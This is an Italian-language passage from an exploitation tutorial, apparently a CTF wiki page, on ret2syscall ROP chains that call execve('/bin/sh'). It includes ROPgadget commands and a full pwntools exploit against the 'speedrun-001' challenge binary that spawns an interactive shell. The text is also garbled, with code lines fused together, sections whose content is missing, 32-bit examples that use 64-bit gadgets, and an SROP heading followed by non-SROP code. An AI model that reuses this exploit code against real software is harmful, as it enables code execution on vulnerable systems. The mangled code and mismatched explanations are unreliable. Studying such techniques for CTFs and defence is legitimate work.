Questo è simile a Ret2lib, tuttavia, in questo caso non chiameremo una funzione da una libreria. In questo caso, tutto sarà preparato per chiamare la syscall sys_execve con alcuni argomenti per eseguire /bin/sh. Questa tecnica viene solitamente eseguita su binari compilati staticamente, quindi potrebbero esserci molti gadget e istruzioni syscall.
Per preparare la chiamata per la syscall è necessaria la seguente configurazione:
rax: 59 Specifica sys_execve
rdi: ptr a "/bin/sh" specifica il file da eseguire
Quindi, fondamentalmente è necessario scrivere la stringa /bin/sh da qualche parte e poi eseguire la syscall (essendo consapevoli del padding necessario per controllare lo stack). Per questo, abbiamo bisogno di un gadget per scrivere /bin/sh in un'area conosciuta.
Un'altra syscall interessante da chiamare è mprotect che permetterebbe a un attaccante di modificare i permessi di una pagina in memoria. Questo può essere combinato con ret2shellcode.
Gadget di registrazione
Iniziamo a trovare come controllare quei registri:
Poi devi trovare un modo per scrivere contenuti arbitrari in questo indirizzo
ROPgadget --binary speedrun-001| grep " : mov qword ptr \["mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
Automatizzare la catena ROP
Il seguente comando crea una catena ROP completa sys_execve dato un binario statico quando ci sono gadget write-what-where e istruzioni syscall:
ROPgadget--binaryvuln--ropchain
32 bit
'''Lets write "/bin/sh" to 0x6b6000pop rdx, 0x2f62696e2f736800pop rax, 0x6b6000mov qword ptr [rax], rdx'''rop += popRdx # place value into EAXrop +="/bin"# 4 bytes at a timerop += popRax # place value into edxrop +=p32(0x6b6000)# Writable memoryrop += writeGadget #Address to: mov qword ptr [rax], rdxrop += popRdxrop +="//sh"rop += popRaxrop +=p32(0x6b6000+4)rop += writeGadget
64 bit
'''Lets write "/bin/sh" to 0x6b6000pop rdx, 0x2f62696e2f736800pop rax, 0x6b6000mov qword ptr [rax], rdx'''rop =''rop += popRdxrop +="/bin/sh\x00"# The string "/bin/sh" in hex with a null byte at the endrop += popRaxrop +=p64(0x6b6000)# Writable memoryrop += writeGadget #Address to: mov qword ptr [rax], rdx
Mancanza di Gadget
Se ti mancano gadget, ad esempio per scrivere /bin/sh in memoria, puoi utilizzare la tecnica SROP per controllare tutti i valori dei registri (inclusi RIP e registri dei parametri) dallo stack:
from pwn import*target =process('./speedrun-001')#gdb.attach(target, gdbscript = 'b *0x400bad')# Establish our ROP GadgetspopRax =p64(0x415664)popRdi =p64(0x400686)popRsi =p64(0x4101f3)popRdx =p64(0x4498b5)# 0x000000000048d251 : mov qword ptr [rax], rdx ; retwriteGadget =p64(0x48d251)# Our syscall gadgetsyscall =p64(0x40129c)'''Here is the assembly equivalent for these blockswrite "/bin/sh" to 0x6b6000pop rdx, 0x2f62696e2f736800pop rax, 0x6b6000mov qword ptr [rax], rdx'''rop =''rop += popRdxrop +="/bin/sh\x00"# The string "/bin/sh" in hex with a null byte at the endrop += popRaxrop +=p64(0x6b6000)rop += writeGadget'''Prep the four registers with their arguments, and make the syscallpop rax, 0x3bpop rdi, 0x6b6000pop rsi, 0x0pop rdx, 0x0syscall'''rop += popRaxrop +=p64(0x3b)rop += popRdirop +=p64(0x6b6000)rop += popRsirop +=p64(0)rop += popRdxrop +=p64(0)rop += syscall# Add the padding to the saved return addresspayload ="0"*0x408+ rop# Send the payload, drop to an interactive shell to use our new shelltarget.sendline(payload)target.interactive()
64 bit, nx, no PIE, scrivere in qualche memoria un ROP per chiamare execve e saltare lì. Per scrivere nello stack viene abusata una funzione che esegue operazioni matematiche.